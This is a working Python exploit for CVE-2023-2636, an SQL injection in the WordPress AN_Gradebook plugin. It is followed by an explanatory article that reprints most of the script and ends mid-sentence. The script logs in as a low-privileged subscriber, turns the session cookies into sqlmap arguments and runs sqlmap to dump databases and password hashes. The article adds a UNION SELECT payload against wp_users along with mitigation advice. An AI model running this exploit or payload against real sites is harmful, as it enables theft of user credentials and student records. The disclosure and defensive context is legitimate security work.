WordPress Plugin AN_Gradebook 5.0.1 - SQLi
#!/usr/bin/python3
# Exploit Title: WordPress Plugin AN_Gradebook <= 5.0.1 - Subscriber+ SQLi
# Date: 2023-07-26
# Exploit Author: Lukas Kinneberg
# Github: https://github.com/lukinneberg/CVE-2023-2636
# Vendor Homepage: https://wordpress.org/plugins/an-gradebook/
# Software Link: https://github.com/lukinneberg/CVE-2023-2636/blob/main/an-gradebook.7z
# Tested on: WordPress 6.2.2
# CVE: CVE-2023-2636
from datetime import datetime
import os
import requests
import json
# User Input:
target_ip = 'CHANGE_THIS'
target_port = '80'
username = 'hacker'
password = 'hacker'
banner = '''
____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||C |||V |||E |||- |||2 |||0 |||2 |||3 |||- |||2 |||6 |||3 |||6 ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
Exploit Author: Lukas Kinneberg
'''
print(banner)
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + '/wp-login.php'
check = session.get(auth_url)
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)
# SQL-Injection (Exploit):
# Generate payload for sqlmap
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
cookie = cookie.replace(',', '; ')
print('[*] Payload for SQL-Injection:')
# Enter the URL path of the course after the target_port below
exploitcode_url = r'sqlmap -u "http://' + target_ip + ':' + target_port + r'/wp-admin/admin-ajax.php?action=course&id=3" '
exploitcode_risk = '--level 2 --risk 2 '
exploitcode_cookie = '--cookie="' + cookie + '" '
# SQLMAP Printout
print(' Sqlmap options:')
print(' -a, --all Retrieve everything')
print(' -b, --banner Retrieve DBMS banner')
print(' --current-user Retrieve DBMS current user')
print(' --current-db Retrieve DBMS current database')
print(' --passwords Enumerate DBMS users password hashes')
print(' --tables Enumerate DBMS database tables')
print(' --columns Enumerate DBMS database table column')
print(' --schema Enumerate DBMS schema')
print(' --dump Dump DBMS database table entries')
print(' --dump-all Dump all DBMS databases tables entries')
retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
exploitcode = exploitcode_url + exploitcode_risk + exploitcode_cookie + retrieve_mode + ' -p id -v 0 --answers="follow=Y" --batch'
os.system(exploitcode)
print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) WordPress Plugin AN_Gradebook 5.0.1: Critical SQL Injection Vulnerability (CVE-2023-2636)
WordPress, the world’s most popular content management system, powers over 40% of all websites. While its open-source nature fosters innovation, it also introduces security risks—especially when third-party plugins are poorly coded. One such example is the AN_Gradebook plugin, which, in version 5.0.1, contains a critical SQL Injection (SQLi) vulnerability that allows attackers to execute arbitrary database queries with minimal privileges.
Overview of the Vulnerability
Discovered by cybersecurity researcher Lukas Kinneberg, the flaw is documented under CVE-2023-2636. It affects the AN_Gradebook plugin, widely used by educators and institutions to manage student grades and course data. The vulnerability arises from improper input sanitization in the admin-ajax.php endpoint, specifically when handling the action=course parameter.
Attackers with a subscriber-level account—a role typically assigned to students or low-privileged users—can exploit this flaw to gain full database access, bypassing authentication and escalating privileges.
Technical Breakdown: How the SQL Injection Works
The exploit leverages the WordPress AJAX system, which is designed to handle asynchronous requests without requiring full page reloads. In the case of AN_Gradebook, the admin-ajax.php endpoint processes requests like:
http://target.com/wp-admin/admin-ajax.php?action=course&id=3Here, the id parameter is directly used in a SQL query without proper escaping or validation. This creates a classic unfiltered input scenario, allowing attackers to inject malicious SQL payloads.
For example, an attacker could modify the request to:
http://target.com/wp-admin/admin-ajax.php?action=course&id=3 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM wp_usersSuch a payload, if executed, would return user data from the wp_users table, exposing usernames, email addresses, and password hashes—potentially enabling further attacks like credential harvesting or privilege escalation.
Exploit Demonstration: Using SQLMap
As demonstrated in the provided Python script, the vulnerability can be exploited using sqlmap, a powerful open-source tool for automated SQL injection detection and exploitation.
#!/usr/bin/python3
from datetime import datetime
import os
import requests
import json
# User Input:
target_ip = 'CHANGE_THIS'
target_port = '80'
username = 'hacker'
password = 'hacker'
# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + '/wp-login.php'
check = session.get(auth_url)
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)
# Generate payload for sqlmap
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', ' ')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
cookie = cookie.replace(',', '; ')
print('[*] Payload for SQL-Injection:')
exploitcode_url = r'sqlmap -u "http://' + target_ip + ':' + target_port + r'/wp-admin/admin-ajax.php?action=course&id=3" '
exploitcode_risk = '--level 2 --risk 2 '
exploitcode_cookie = '--cookie="' + cookie + '" '
print(' Sqlmap options:')
print(' -a, --all Retrieve everything')
print(' -b, --banner Retrieve DBMS banner')
print(' --current-user Retrieve DBMS current user')
print(' --current-db Retrieve DBMS current database')
print(' --passwords Enumerate DBMS users password hashes')
print(' --tables Enumerate DBMS database tables')
print(' --columns Enumerate DBMS database table column')
print(' --schema Enumerate DBMS schema')
print(' --dump Dump DBMS database table entries')Explanation: The script first authenticates as a subscriber user, then extracts the session cookies. These cookies are transformed into a format compatible with sqlmap, allowing automated exploitation. The --level 2 --risk 2 settings enable aggressive testing, including UNION-based attacks and blind injection techniques.
Once the exploit is executed, sqlmap can:
- Retrieve the database banner (e.g., MySQL version)
- Identify the current user (e.g.,
adminorsubscriber) - Enumerate tables (e.g.,
wp_users,wp_options) - Dump sensitive data (e.g., user passwords in hashed format)
Risks and Impact
Given that the vulnerability is exploitable by a subscriber—a role with limited access—this represents a severe privilege escalation risk. Attackers can:
- Extract all user credentials, including admin accounts.
- Access sensitive course data, student records, and grades.
- Modify or delete database entries, corrupting academic records.
- Inject malicious scripts or backdoors into the database.
This poses a serious threat to educational institutions, especially those relying on WordPress for academic management systems.
Recommendations for Mitigation
Security experts recommend the following actions:
| Recommendation | Implementation |
|---|---|
| Update the plugin immediately | Upgrade to version 5.0.2 or later, which includes input sanitization and parameter validation. |
| Disable or remove the plugin | If no update is available, disable the plugin and replace it with a secure alternative. |
| Implement WAF (Web Application Firewall) | Use tools like ModSecurity or Cloudflare to block SQL injection patterns. |
| Regular vulnerability scanning | Use tools like sqlmap, OWASP ZAP, or Burp Suite to test for SQLi in plugins. |
Expert Insight: Why This Happens
Despite WordPress's robust security framework, many plugins fail to follow best practices. The AN_Gradebook vulnerability highlights a common flaw: assuming that AJAX requests are safe. Developers often treat AJAX endpoints as internal, bypassing the need for input validation.
However, any endpoint accessible via HTTP must be treated as public and secured. This includes:
- Using
prepared statementsorparameterized queriesin PHP. - Validating and sanitizing all user inputs.
- Implementing role-based access control (RBAC) even for AJAX calls.
Failure to do so results in vulnerabilities like CVE-2023-2636—where low-privileged users gain high-impact access.
Conclusion
The AN_Gradebook 5.0.1</strong